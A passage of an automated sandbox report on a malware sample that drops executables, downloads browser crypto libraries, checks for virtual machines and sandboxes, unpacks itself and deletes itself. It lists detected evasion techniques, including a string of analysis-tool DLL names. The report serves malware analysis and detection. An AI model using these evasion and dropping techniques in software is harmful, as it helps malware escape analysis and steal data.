Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D818.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: dbghelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: dlnashext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wpdshext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\jssrvvh Section loaded: msvcr100.dll
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\2.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: 2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mozglue.pdbP source: katB4C0.tmp, 0000000B.00000002.2822044307.000000006D0CD000.00000002.00000001.01000000.0000000D.sdmp, mozglue[1].dll.11.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.11.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.11.dr
Source: Binary string: nss3.pdb@ source: katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, nss3[1].dll.11.dr, nss3.dll.11.dr
Source: Binary string: softokn3.pdb@ source: softokn3.dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr, vcruntime140[1].dll.11.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.11.dr, msvcp140.dll.11.dr
Source: Binary string: nss3.pdb source: katB4C0.tmp, 0000000B.00000002.2820278681.000000006CC2F000.00000002.00000001.01000000.0000000C.sdmp, nss3[1].dll.11.dr, nss3.dll.11.dr
Source: Binary string: mozglue.pdb source: katB4C0.tmp, 0000000B.00000002.2822044307.000000006D0CD000.00000002.00000001.01000000.0000000D.sdmp, mozglue[1].dll.11.dr
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: katB4C0.tmp, 0000000B.00000002.2809673734.000000001DDD8000.00000002.00001000.00020000.00000000.sdmp, katB4C0.tmp, 0000000B.00000002.2810931368.0000000020219000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.11.dr
Source: Binary string: softokn3.pdb source: softokn3.dll.11.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\2.exe Unpacked PE file: 0.2.2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\jssrvvh Unpacked PE file: 5.2.jssrvvh.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Unpacked PE file: 6.2.38F9.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\jssrvvh Unpacked PE file: 16.2.jssrvvh.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Unpacked PE file: 6.2.38F9.exe.400000.0.unpack
PE file contains sections with non-standard names
Source: sqls[1].dll.11.dr Static PE information: section name: .00cfg
Source: freebl3.dll.11.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.11.dr Static PE information: section name: .00cfg
Source: mozglue.dll.11.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.11.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.11.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.11.dr Static PE information: section name: .didat
Source: nss3.dll.11.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.11.dr Static PE information: section name: .00cfg
Source: softokn3.dll.11.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.11.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00402CD7 push cs; retf 0_2_00402CD8
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_00401EA7 push 0000000Eh; retf 0038h 0_2_00401EB6
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_004033B6 push eax; ret 0_2_00403419
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02DE1F0E push 0000000Eh; retf 0038h 0_2_02DE1F1D
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02DE2D3E push cs; retf 0_2_02DE2D3F
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E398EC push 0000002Ah; iretd 0_2_02E39936
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E338B0 push 0000000Eh; retf 0038h 0_2_02E338BF
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E34A96 push eax; ret 0_2_02E34A97
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E33840 push cs; retf 0038h 0_2_02E338BF
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E34422 push cs; retf 0_2_02E34423
Source: C:\Users\user\Desktop\2.exe Code function: 0_2_02E3340D push ss; iretw 0_2_02E3341F
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00402CD7 push cs; retf 5_2_00402CD8
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_00401EA7 push 0000000Eh; retf 0038h 5_2_00401EB6
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_004033B6 push eax; ret 5_2_00403419
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02D91F0E push 0000000Eh; retf 0038h 5_2_02D91F1D
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02D92D3E push cs; retf 5_2_02D92D3F
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E532D8 push cs; retf 0038h 5_2_02E53357
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E52EA5 push ss; iretw 5_2_02E52EB7
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E53EBA push cs; retf 5_2_02E53EBB
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E59384 push 0000002Ah; iretd 5_2_02E593CE
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E53348 push 0000000Eh; retf 0038h 5_2_02E53357
Source: C:\Users\user\AppData\Roaming\jssrvvh Code function: 5_2_02E5452E push eax; ret 5_2_02E5452F
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00441DE9 push ebp; ret 6_2_00441E02
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_00441FE4 pushad ; retf 0041h 6_2_00441FE5
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_0058030D push ecx; ret 6_2_00580315
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005DD3D4 push ebp; retf 6_2_005DD3FB
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005DD422 push edx; retf 6_2_005DD423
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005DD602 push ss; retf 6_2_005DD603
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_0437B010 push edx; ret 10_2_0437B21F
Source: C:\Users\user\AppData\Local\Temp\D818.exe Code function: 10_2_0437A910 push edx; ret 10_2_0437A91B
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\38F9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\nss3.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jssrvvh Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\D818.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D818.exe File created: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\mozglue.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File created: C:\ProgramData\FIEGCBKEGCFC\mozglue.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\jssrvvh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\2.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\jssrvvh:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: katB4C0.tmp PID: 4480, type: MEMORYSTR
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\2.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\jssrvvh Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\38F9.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: jssrvvh, 00000010.00000002.3994920511.0000000003027000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ASWHOOK0Q7G
Source: katB4C0.tmp, 0000000B.00000002.2788838595.0000000000422000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Code function: 6_2_005E328F rdtsc 6_2_005E328F
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 469 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 1349 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 750 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 379 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 362 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 3499 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 880 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: foregroundWindowGot 867 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\ProgramData\FIEGCBKEGCFC\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll Jump to dropped file
